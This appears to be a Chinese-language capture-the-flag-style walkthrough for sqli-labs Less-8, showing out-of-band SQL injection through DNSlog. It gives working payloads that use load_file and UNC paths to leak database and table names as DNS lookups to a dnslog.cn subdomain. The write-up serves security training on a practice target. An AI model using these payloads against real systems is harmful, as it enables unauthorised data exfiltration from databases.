进入关卡
另外打开一个新的页面,进入dnslog.cn
点击Get SubDomain
,得到一个随机分配的子域名。
(每次点击都会重新生成一个随机的子域名,所以避免误点)
库名
回到第8关,在URL里输入payload,刷新一下
http://172.16.11.54/sqli-labs/Less-8/?id=1' and load_file(concat("\\\\",database(),".uifm3e.dnslog.cn\\xxx.txt"))--+
"\\\\"
四个\
不能少
注意.uifm3e.dnslog.cn
是你的子域名,前面要加个.
。
后面的\\xxx.txt
,\\
是必须的,xxx.txt
这部分随便是什么内容,不能为空。
然后在dnslog.cn里面点击Refresh Record
,库名信息就会出现了
表名
http://172.16.11.54/sqli-labs/Less-8/?id=1' and load_file(concat("\\\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".uifm3e.dnslog.cn\\xsy.txt"))--+
查找列名等其他信息的payload可以参考前面几关,就不在这里多说了
…………………………
要注意,在dnslog.cn上只适合联系靶场,你所查找的信息该网站肯定会有记录的。
不过可以自己搭一个DNSlog平台
https://github.com/bugscanteam/dnslog/